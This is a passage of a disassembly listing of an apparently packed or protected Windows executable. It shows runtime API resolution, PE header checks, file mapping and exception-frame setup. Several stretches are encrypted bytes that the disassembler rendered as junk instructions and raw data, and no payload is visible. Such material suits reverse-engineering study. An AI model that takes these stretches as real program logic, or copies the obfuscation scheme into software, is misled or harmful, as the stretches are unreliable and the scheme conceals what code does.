ecx, [ebp+var_8] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117EC, eax push offset aBeginpaint ; "BeginPaint" mov edx, [ebp+var_10] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117F0, eax push offset aEndpaint ; "EndPaint" mov eax, [ebp+var_10] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117F4, eax push offset aGetobjecta ; "GetObjectA" mov ecx, [ebp+var_8] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117F8, eax push offset aSelectobject_0 ; "SelectObject" mov edx, [ebp+var_8] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_5117FC, eax push offset aDeleteobject_0 ; "DeleteObject" mov eax, [ebp+var_8] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511800, eax push offset aBitblt_0 ; "BitBlt" mov ecx, [ebp+var_8] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511804, eax push offset aGetwindowthrea ; "GetWindowThreadProcessId" mov edx, [ebp+var_10] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511808, eax push offset aSetactivewindo ; "SetActiveWindow" mov eax, [ebp+var_10] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_51180C, eax push offset aSetforegroundw ; "SetForegroundWindow" mov ecx, [ebp+var_10] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511810, eax push offset aRegisterclasse ; "RegisterClassExA" mov edx, [ebp+var_10] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511814, eax push offset aGetsystemmetri ; "GetSystemMetrics" mov eax, [ebp+var_10] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511818, eax push offset aCreatewindowex ; "CreateWindowExA" mov ecx, [ebp+var_10] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_51181C, eax push offset aGetmessagea ; "GetMessageA" mov edx, [ebp+var_10] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511820, eax push offset aTranslatemessa ; "TranslateMessage" mov eax, [ebp+var_10] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511824, eax push offset aDispatchmessag ; "DispatchMessageA" mov ecx, [ebp+var_10] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511828, eax push offset aDestroywindo_0 ; "DestroyWindow" mov edx, [ebp+var_10] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_51182C, eax push offset aEnumwindows ; "EnumWindows" mov eax, [ebp+var_10] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_511830, eax push offset aDefwindowproca ; "DefWindowProcA" mov ecx, [ebp+var_10] push ecx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511834, eax push offset aPostmessagea ; "PostMessageA" mov edx, [ebp+var_10] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511838, eax push offset aCreatethread ; "CreateThread" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov ds:dword_51183C, eax mov [ebp+var_4], offset dword_5116A4 mov [ebp+var_14], offset dword_511840 jmp short loc_4FEB7A ; --------------------------------------------------------------------------- loc_4FEB71: ; CODE XREF: sub_4FE2E0:loc_4FEBA9j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_4FEB7A: ; CODE XREF: sub_4FE2E0+88Fj mov edx, [ebp+var_4] cmp edx, [ebp+var_14] jz short loc_4FEBAB mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jnz short loc_4FEBA9 push 0 push 0 push 0 mov ecx, [ebp+var_4] sub ecx, offset dword_5116A0 sar ecx, 2 sub ecx, 10FFEFFFh push ecx call ds:dword_50E00C ; RaiseException loc_4FEBA9: ; CODE XREF: sub_4FE2E0+8A8j jmp short loc_4FEB71 ; --------------------------------------------------------------------------- loc_4FEBAB: ; CODE XREF: sub_4FE2E0+8A0j mov esp, ebp pop ebp retn sub_4FE2E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E298 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFD8h push ebx push esi push edi mov [ebp-18h], esp mov dword ptr [ebp-24h], 0FFFFFFFFh mov dword ptr [ebp-20h], 0 mov dword ptr [ebp-28h], 0 mov dword ptr [ebp-1Ch], 0 mov dword ptr [ebp-4], 0 push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+8] push eax call ds:dword_5116A8 ; CreateFileA mov [ebp-24h], eax cmp dword ptr [ebp-24h], 0FFFFFFFFh jz short loc_4FEC6C push 0 mov ecx, [ebp-24h] push ecx call ds:dword_511700 ; GetFileSize mov [ebp-1Ch], eax cmp dword ptr [ebp-1Ch], 0FFFFFFFFh jz short loc_4FEC6C push 0 mov edx, [ebp-1Ch] push edx push 0 push 2 push 0 mov eax, [ebp-24h] push eax call ds:dword_5116B0 ; CreateFileMappingA mov [ebp-20h], eax cmp dword ptr [ebp-20h], 0 jz short loc_4FEC6C mov ecx, [ebp-1Ch] push ecx push 0 push 0 push 4 mov edx, [ebp-20h] push edx call ds:dword_51176C ; MapViewOfFile mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jnz short loc_4FEC76 loc_4FEC6C: ; CODE XREF: _5:004FEC19j _5:004FEC2Ej ... mov ecx, 0EF000001h call sub_508342 loc_4FEC76: ; CODE XREF: _5:004FEC6Aj mov eax, [ebp-28h] mov ecx, [ebp-28h] add ecx, [eax+3Ch] mov [ebp-30h], ecx mov edx, [ebp-30h] cmp dword ptr [edx], 4550h jz short loc_4FEC97 mov ecx, 0EF000002h call sub_508342 loc_4FEC97: ; CODE XREF: _5:004FEC8Bj mov eax, ds:off_51169C mov [ebp-34h], eax mov ecx, [ebp-30h] mov edx, [ebp+10h] sub edx, [ecx+34h] mov [ebp-2Ch], edx push 1190000h call near ptr loc_4FDB7D+1 add ds:11417799h, cl ; CODE XREF: _5:004FECCBj stosd add eax, 1EEE403Fh sub al, 39h inc esi cmp ebx, [eax+1F877A6Dh] in al, dx jle short near ptr loc_4FECB5+2 inc ebx cwde out dx, al pop es xor eax, [ebx+78F72316h] adc byte ptr [edi+64h], 71h jle short near ptr loc_4FED3B+2 xchg eax, ecx db 2Eh out 77h, eax dec edi sbb esp, edi jp short loc_4FED3B lds edx, [ecx+4B7AFC62h] retn ; --------------------------------------------------------------------------- db 7Eh, 24h, 82h dd 0B61C1F80h, 0E756D0C3h, 1E40126Fh, 6B46D1A8h, 0EE0CA412h dd 0D165F518h, 0AB6AFC15h, 0F6588337h, 5A597004h, 1A93DEAh dd 35E370C2h, 328E108Eh, 0EA5487D7h, 599515B8h, 0DC957533h dd 2AB9E510h, 0F6E956BFh, 41D55588h db 0F7h, 6Ch, 0DAh ; --------------------------------------------------------------------------- loc_4FED3B: ; CODE XREF: _5:004FECE4j _5:004FECDBj adc edi, [edi+14D244FBh] stc jnz short loc_4FED91 loc_4FED44: ; CODE XREF: _5:004FED45j xchg eax, edi loop loc_4FED44 rol esi, 1 inc esp stosb arpl bx, si and ebx, [edx+ecx*2+1D4529E4h] ; CODE XREF: _5:004FEDC7j out 68h, al mov esi, 7AF0DD8Eh mov bl, 0DFh xchg eax, ebp jno short loc_4FED9A jg short loc_4FED80 shr byte ptr [ebx], cl jg short loc_4FEDCE mov bh, 10h cmpsd mov ah, 2Ah hlt ; --------------------------------------------------------------------------- dd 693DAD50h, 3BA234CFh, 6A0C46DFh, 8E90F8F4h, 59E2CEABh ; --------------------------------------------------------------------------- loc_4FED80: ; CODE XREF: _5:004FED60j mov ah, [edx+edx*4] aam 3Bh stosd push 7118CCF6h jle short loc_4FEDB7 add eax, eax push 0FFFFFFC4h loc_4FED91: ; CODE XREF: _5:004FED42j outsb loope near ptr loc_4FEDEE+3 cmpsb cmp al, 76h inc edi iret ; --------------------------------------------------------------------------- daa loc_4FED9A: ; CODE XREF: _5:004FED5Ej jge short near ptr loc_4FEDC9+1 pop edi or esi, ebp aas jnb short near ptr loc_4FEE04+2 db 67h das mov bl, 0C0h and al, 0E9h sbb [ebx], cl dec cl pop esi aam 35h inc edx dec edi pop esp loc_4FEDB2: ; DATA XREF: _6:0050E2A8o and byte ptr [esi+3Bh], 91h popf loc_4FEDB7: ; CODE XREF: _5:004FED8Bj stosb mov bh, 7 loc_4FEDBA: ; DATA XREF: _6:0050E2ACo pop edx mov ebx, 0EE403F03h pop ds sub al, 39h inc esi loc_4FEDC4: ; CODE XREF: _5:004FEDD4j cmp edi, [ecx+6Ch] jp short near ptr loc_4FED4D+3 loc_4FEDC9: ; CODE XREF: _5:loc_4FED9Aj jl short near ptr loc_4FEDD6+6 inc ebx inc esp aaa loc_4FEDCE: ; CODE XREF: _5:004FED64j nop nop xor edx, edx test edx, edx jnz short loc_4FEDC4 loc_4FEDD6: ; CODE XREF: _5:loc_4FEDC9j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_4FEDE4 jmp short loc_4FEE15 ; =============== S U B R O U T I N E ======================================= sub_4FEDE4 proc near ; CODE XREF: _5:004FEDDDp ; DATA XREF: _6:0050E2A0o cmp dword ptr [ebp-28h], 0 jz short loc_4FEDF4 mov eax, [ebp-28h] push eax loc_4FEDEE: ; CODE XREF: _5:004FED92j call ds:dword_5117A0 ; UnmapViewOfFile loc_4FEDF4: ; CODE XREF: sub_4FEDE4+4j cmp dword ptr [ebp-20h], 0 jz short loc_4FEE04 mov ecx, [ebp-20h] push ecx call ds:dword_5116A4 ; CloseHandle loc_4FEE04: ; CODE XREF: sub_4FEDE4+14j ; _5:004FEDA0j cmp dword ptr [ebp-24h], 0 jz short locret_4FEE14 mov edx, [ebp-24h] push edx call ds:dword_5116A4 ; CloseHandle locret_4FEE14: ; CODE XREF: sub_4FEDE4+24j retn sub_4FEDE4 endp ; --------------------------------------------------------------------------- loc_4FEE15: ; CODE XREF: _5:004FEDE2j mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E2B0 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFE88h push ebx push esi push edi mov dword ptr [ebp-20h], 0 mov dword ptr [ebp-1Ch], 0 mov dword ptr [ebp-4], 0 push 105h call sub_50835A add esp, 4 mov [ebp-184h], eax mov eax, [ebp-184h] mov [ebp-1Ch], eax push 104h mov ecx, [ebp-1Ch] push ecx push 0 call ds:dword_511718 ; GetModuleHandleA push eax call ds:dword_511714 ; GetModuleFileNameA mov edx, [ebp+0Ch] add edx, 82h mov [ebp-24h], edx mov eax, [ebp-24h] mov ecx, [eax] and ecx, 4 neg ecx sbb ecx, ecx neg ecx mov [ebp-20h], ecx cmp dword ptr [ebp-20h], 0 jz loc_4FEFFE lea ecx, [ebp-160h] call sub_507798 mov dword ptr [ebp-164h], 10h push 290000h call near ptr loc_4FDB7D+1 nop popf sub ebp, esi mov cl, 93h cmp esi, [ebp-2071CF1Dh] adc [esi+edx], esp cmp eax, 7CBB222Fh push ecx cmc dec esp retn ; --------------------------------------------------------------------------- db 97h, 0B9h, 0ADh dd 8ABDEFA0h, 9EAD89FBh, 2913CC7h, 0B285F704h, 96CCFC1Ch dd 7F09E16h, 414E5A1Bh, 5268559Ah, 0CEE6F301h, 5A4DC906h dd 0AA81500Fh, 2EF9409Bh, 66792330h, 0F898C230h, 0DBDCAA42h dd 6D7A86E7h, 0CA3421CFh, 12121F2Ch, 2E21267Bh, 41556C53h dd 7AA1946Fh, 5A2D4F5Ch, 37742DE4h, 3A4FF67Eh, 345119B4h dd 65810DFEh, 5D294B58h, 6AF5E8E6h, 36541C2Ch, 95B155ABh dd 0AD011488h, 0A7053D6Bh, 0EB46731h, 0C4A9AD9Ah, 3BEAABB8h dd 2A000177h, 11364351h, 0F5037066h, 3E3124E8h, 0F96AB34Bh dd 59670CFAh, 0DB0D434Ch, 0F081716Eh, 0FFB6D7E4h, 8996A2CFh dd 2180E38Ch, 212F443Ah, 96907314h, 0CDC6D3E1h, 8593E8D6h dd 24A5A778h, 1C5D4D32h, 0DDE20310h, 0C1357DA8h, 818FECC2h dd 8EF4A374h, 0E560C6CBh, 0F2E200F3h, 4E41A771h, 82751533h dd 5D21748Fh, 90902F3Ch, 0C085C033h db 75h, 0EEh ; --------------------------------------------------------------------------- loc_4FEFFE: ; CODE XREF: _5:004FEEC0j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_4FF00C jmp short loc_4FF025 ; =============== S U B R O U T I N E ======================================= sub_4FF00C proc near ; CODE XREF: _5:004FF005p ; DATA XREF: _6:0050E2B8o mov ecx, [ebp-1Ch] mov [ebp-188h], ecx mov edx, [ebp-188h] push edx call sub_5083DD add esp, 4 retn sub_4FF00C endp ; --------------------------------------------------------------------------- loc_4FF025: ; CODE XREF: _5:004FF00Aj mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FF036 proc near ; CODE XREF: sub_50B1EA+1Fp var_38 = dword ptr -38h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004FF153 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E2C0 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 20h push ebx push esi push edi or [ebp+var_1C], 0FFFFFFFFh push 0 lea eax, [ebp+var_1C] push eax push 3 push 80000000h push [ebp+arg_0] call sub_500346 test eax, eax jz loc_4FF153 cmp [ebp+var_1C], 0FFFFFFFFh jz loc_4FF153 mov eax, ds:dword_5118E4 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4FF0A7 mov eax, [ebp+var_2C] add eax, 10h push eax call ds:dword_50E01C ; RtlEnterCriticalSection mov [ebp+var_30], 1 jmp short loc_4FF0AB ; --------------------------------------------------------------------------- loc_4FF0A7: ; CODE XREF: sub_4FF036+5Cj and [ebp+var_30], 0 loc_4FF0AB: ; CODE XREF: sub_4FF036+6Fj movzx eax, [ebp+var_30] test eax, eax jz loc_4FF153 and [ebp+var_4], 0 mov eax, [ebp+arg_4] and dword ptr [eax], 0 push [ebp+var_1C] mov ecx, ds:dword_5118E4 call sub_50B871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4FF120 push [ebp+var_1C] call sub_505456 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax cmp [ebp+var_20], 0 jnz short loc_4FF0FF push ds:off_50E4F8 push 1Fh push ds:off_50E4FC call sub_50848C loc_4FF0FF: ; CODE XREF: sub_4FF036+B4j mov eax, [ebp+var_20] mov eax, [eax] mov [ebp+var_24], eax push 0FFFFFFFFh mov [ebp+var_38], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_38] jmp short loc_4FF155 ; --------------------------------------------------------------------------- loc_4FF120: ; CODE XREF: sub_4FF036+A0j or [ebp+var_4], 0FFFFFFFFh call sub_4FF12B jmp short loc_4FF153 sub_4FF036 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FF12B proc near ; CODE XREF: sub_4FF036+EEp ; DATA XREF: _6:0050E2C8o mov eax, ds:dword_5118E4 mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jz short loc_4FF146 mov eax, [ebp-34h] add eax, 10h push eax call ds:dword_50E018 ; RtlLeaveCriticalSection loc_4FF146: ; CODE XREF: sub_4FF12B+Cj lea eax, [ebp-28h] push eax push dword ptr [ebp-1Ch] call sub_500741 retn sub_4FF12B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FF036 loc_4FF153: ; CODE XREF: sub_4FF036+40j ; sub_4FF036+4Aj ... xor eax, eax loc_4FF155: ; CODE XREF: sub_4FF036+E8j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4FF036 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FF166 proc near ; CODE XREF: sub_4FF252+1B5p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push esi push edi cmp [ebp+arg_4], 0 jz short loc_4FF187 mov ecx, [ebp+arg_4] mov edi, [ebp+arg_8] mov esi, [ebp+arg_0] xor eax, eax repe cmpsb jnz loc_4FF24A loc_4FF187: ; CODE XREF: sub_4FF166+Cj push 5Ch mov eax, [ebp+arg_8] add eax, [ebp+arg_4] push eax call sub_4FC640 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4FF216 mov eax, [ebp+arg_C] mov byte ptr [eax], 1 mov eax, [ebp+arg_8] add eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] inc eax cmp eax, 80h jbe short loc_4FF1C6 xor eax, eax jmp loc_4FF24C ; --------------------------------------------------------------------------- loc_4FF1C6: ; CODE XREF: sub_4FF166+57j mov ecx, [ebp+var_C] mov esi, [ebp+arg_8] add esi, [ebp+arg_4] mov edi, offset byte_511844 mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_C] and ds:byte_511844[eax], 0 mov eax, [ebp+arg_10] mov dword ptr [eax], offset byte_511844 push offset byte_511844 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax call sub_4FC06B pop ecx pop ecx neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov eax, [ebp+var_8] jmp short loc_4FF24C ; --------------------------------------------------------------------------- loc_4FF216: ; CODE XREF: sub_4FF166+38j mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] add eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax call sub_4FC06B pop ecx pop ecx neg eax sbb eax, eax neg eax mov [ebp+var_10], eax mov eax, [ebp+arg_8] add eax, [ebp+arg_4] mov ecx, [ebp+arg_10] mov [ecx], eax mov eax, [ebp+var_10] jmp short loc_4FF24C ; --------------------------------------------------------------------------- loc_4FF24A: ; CODE XREF: sub_4FF166+1Bj xor eax, eax loc_4FF24C: ; CODE XREF: sub_4FF166+5Bj ; sub_4FF166+AEj ... pop edi pop esi leave retn 14h sub_4FF166 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FF252 proc near ; CODE XREF: sub_4FF63E+56p ; sub_4FF6DE+90p var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 004FF62B SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E2D0 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 44h push ebx push esi push edi push offset dword_5118C8 call ds:dword_5116C4 ; RtlEnterCriticalSection and [ebp+var_4], 0 cmp ds:dword_511908, 0 jnz short loc_4FF2A8 push 0FFFFFFFFh and [ebp+var_4C], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_4C] jmp loc_4FF62D ; --------------------------------------------------------------------------- loc_4FF2A8: ; CODE XREF: sub_4FF252+3Bj and [ebp+var_24], 0 lea eax, [ebp+var_24] push eax mov eax, ds:dword_511908 add eax, 810h push eax push 104h push [ebp+arg_0] call ds:dword_511708 ; GetFullPathNameA mov [ebp+var_28], eax push [ebp+var_28] mov eax, ds:dword_511908 add eax, 810h push eax call ds:dword_5117C8 ; CharUpperBuffA mov ecx, [ebp+var_28] call sub_501470 mov eax, ds:dword_511908 mov eax, [eax+0Ch] mov [ebp+var_20], eax and [ebp+var_1C], 0 and [ebp+var_2C], 0 and [ebp+var_30], 0 mov eax, ds:dword_511908 mov ecx, [eax+0C14h] mov edi, ds:dword_511908 add edi, 10h mov esi, ds:dword_511908 add esi, 810h xor eax, eax repe cmpsb jnz loc_4FF614 mov eax, ds:dword_511908 mov eax, [eax+0C14h] mov ecx, ds:dword_511908 lea eax, [ecx+eax+810h] mov [ebp+var_3C], eax and [ebp+var_38], 0 push 5Ch push [ebp+var_3C] call sub_4FC700 pop ecx pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jz short loc_4FF369 mov eax, [ebp+var_34] sub eax, [ebp+var_3C] inc eax mov [ebp+var_38], eax jmp short loc_4FF395 ; --------------------------------------------------------------------------- loc_4FF369: ; CODE XREF: sub_4FF252+109j mov eax, ds:dword_511684 mov eax, [eax+24h] and eax, 20h test eax, eax jnz short loc_4FF391 push 0FFFFFFFFh and [ebp+var_50], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_50] jmp loc_4FF62D ; --------------------------------------------------------------------------- loc_4FF391: ; CODE XREF: sub_4FF252+124j and [ebp+var_38], 0 loc_4FF395: ; CODE XREF: sub_4FF252+115j mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx test ecx, ecx jnz short loc_4FF3B1 cmp [ebp+arg_8], 0 jnz short loc_4FF3B1 jmp loc_4FF5EB ; --------------------------------------------------------------------------- loc_4FF3B1: ; CODE XREF: sub_4FF252+152j ; sub_4FF252+158j cmp [ebp+arg_8], 0 jz short loc_4FF3D4 mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_4FF3D4 mov eax, [ebp+arg_8] mov ecx, ds:dword_511908 mov eax, [eax] sub eax, [ecx+8] sar eax, 4 inc eax mov [ebp+var_1C], eax loc_4FF3D4: ; CODE XREF: sub_4FF252+163j ; sub_4FF252+16Bj jmp short loc_4FF3DD ; --------------------------------------------------------------------------- loc_4FF3D6: ; CODE XREF: sub_4FF252:loc_4FF412j mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_4FF3DD: ; CODE XREF: sub_4FF252:loc_4FF3D4j mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnb short loc_4FF414 lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_30] push eax mov eax, [ebp+var_1C] shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] mov eax, [ecx+eax] push dword ptr [eax] push [ebp+var_38] push [ebp+var_3C] call sub_4FF166 test eax, eax jz short loc_4FF412 jmp short loc_4FF414 ; --------------------------------------------------------------------------- loc_4FF412: ; CODE XREF: sub_4FF252+1BCj jmp short loc_4FF3D6 ; --------------------------------------------------------------------------- loc_4FF414: ; CODE XREF: sub_4FF252+191j ; sub_4FF252+1BEj mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnb loc_4FF5EB mov edi, [ebp+var_2C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_48], ecx movzx eax, [ebp+var_30] test eax, eax jz short loc_4FF4AC jmp short loc_4FF441 ; --------------------------------------------------------------------------- loc_4FF43A: ; CODE XREF: sub_4FF252:loc_4FF4AAj mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_4FF441: ; CODE XREF: sub_4FF252+1E6j mov eax, [ebp+var_20] dec eax cmp [ebp+var_1C], eax jnb short loc_4FF4AC mov eax, [ebp+var_1C] inc eax shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] mov eax, [ecx+eax] mov edi, [eax] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_48] add eax, [ebp+var_38] cmp ecx, eax jb short loc_4FF4A8 mov ecx, [ebp+var_48] add ecx, [ebp+var_38] mov eax, [ebp+var_1C] shl eax, 4 mov edx, ds:dword_511908 mov edx, [edx+8] mov eax, [edx+eax] mov edi, [eax] mov eax, [ebp+var_1C] inc eax shl eax, 4 mov edx, ds:dword_511908 mov edx, [edx+8] mov eax, [edx+eax] mov esi, [eax] xor eax, eax repe cmpsb jz short loc_4FF4AA loc_4FF4A8: ; CODE XREF: sub_4FF252+21Fj jmp short loc_4FF4AC ; --------------------------------------------------------------------------- loc_4FF4AA: ; CODE XREF: sub_4FF252+254j jmp short loc_4FF43A ; --------------------------------------------------------------------------- loc_4FF4AC: ; CODE XREF: sub_4FF252+1E4j ; sub_4FF252+1F6j ... mov eax, [ebp+var_1C] shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] mov eax, [ecx+eax+4] add eax, [ebp+var_38] mov [ebp+var_2C], eax mov eax, [ebp+var_1C] shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] add ecx, eax mov [ebp+var_40], ecx mov eax, [ebp+var_40] mov eax, [eax] mov [ebp+var_44], eax xor eax, eax mov edi, [ebp+arg_4] stosd push 41h pop ecx xor eax, eax mov edi, [ebp+arg_4] add edi, 2Ch rep stosd cmp [ebp+var_48], 104h jnb short loc_4FF505 mov eax, [ebp+var_48] mov [ebp+var_54], eax jmp short loc_4FF50C ; --------------------------------------------------------------------------- loc_4FF505: ; CODE XREF: sub_4FF252+2A9j mov [ebp+var_54], 104h loc_4FF50C: ; CODE XREF: sub_4FF252+2B1j mov ecx, [ebp+var_54] mov esi, [ebp+var_2C] mov edi, [ebp+arg_4] add edi, 2Ch mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax mov edi, [ebp+arg_4] add edi, 130h stosd stosd stosd stosw cmp [ebp+var_48], 0Eh jbe short loc_4FF545 mov [ebp+var_58], 0Eh jmp short loc_4FF54B ; --------------------------------------------------------------------------- loc_4FF545: ; CODE XREF: sub_4FF252+2E8j mov eax, [ebp+var_48] mov [ebp+var_58], eax loc_4FF54B: ; CODE XREF: sub_4FF252+2F1j mov ecx, [ebp+var_58] mov esi, [ebp+var_2C] mov edi, [ebp+arg_4] add edi, 130h mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb movzx eax, [ebp+var_30] neg eax sbb eax, eax and eax, 0Fh inc eax mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+arg_4] mov ecx, [ebp+var_44] mov ecx, [ecx+8] mov [eax+20h], ecx mov eax, [ebp+var_40] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov edx, [eax+1Ch] mov [ecx+4], edx mov eax, [eax+20h] mov [ecx+8], eax mov eax, [ebp+var_40] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov edx, [eax+1Ch] mov [ecx+0Ch], edx mov eax, [eax+20h] mov [ecx+10h], eax mov eax, [ebp+var_40] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov edx, [eax+1Ch] mov [ecx+14h], edx mov eax, [eax+20h] mov [ecx+18h], eax cmp [ebp+arg_8], 0 jz short loc_4FF5D2 mov eax, [ebp+arg_8] mov ecx, [ebp+var_40] mov [eax], ecx loc_4FF5D2: ; CODE XREF: sub_4FF252+376j push 0FFFFFFFFh mov [ebp+var_5C], 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_5C] jmp short loc_4FF62D ; --------------------------------------------------------------------------- loc_4FF5EB: ; CODE XREF: sub_4FF252+15Aj ; sub_4FF252+1C8j cmp [ebp+arg_8], 0 jz short loc_4FF60C mov eax, ds:dword_511908 mov eax, [eax+0Ch] shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] add ecx, eax mov eax, [ebp+arg_8] mov [eax], ecx loc_4FF60C: ; CODE XREF: sub_4FF252+39Dj push 12h call ds:dword_51178C ; RtlRestoreLastWin32Error loc_4FF614: ; CODE XREF: sub_4FF252+D1j or [ebp+var_4], 0FFFFFFFFh call sub_4FF61F jmp short loc_4FF62B sub_4FF252 endp ; =============== S U B R O U T I N E ======================================= sub_4FF61F proc near ; CODE XREF: sub_4FF252+3C6p ; DATA XREF: _6:0050E2D8o push offset dword_5118C8 call ds:dword_511754 ; RtlLeaveCriticalSection retn sub_4FF61F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FF252 loc_4FF62B: ; CODE XREF: sub_4FF252+3CBj xor eax, eax loc_4FF62D: ; CODE XREF: sub_4FF252+51j ; sub_4FF252+13Aj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4FF252 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FF63E proc near ; CODE XREF: sub_50A334+Ep ; sub_50A361+7Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and 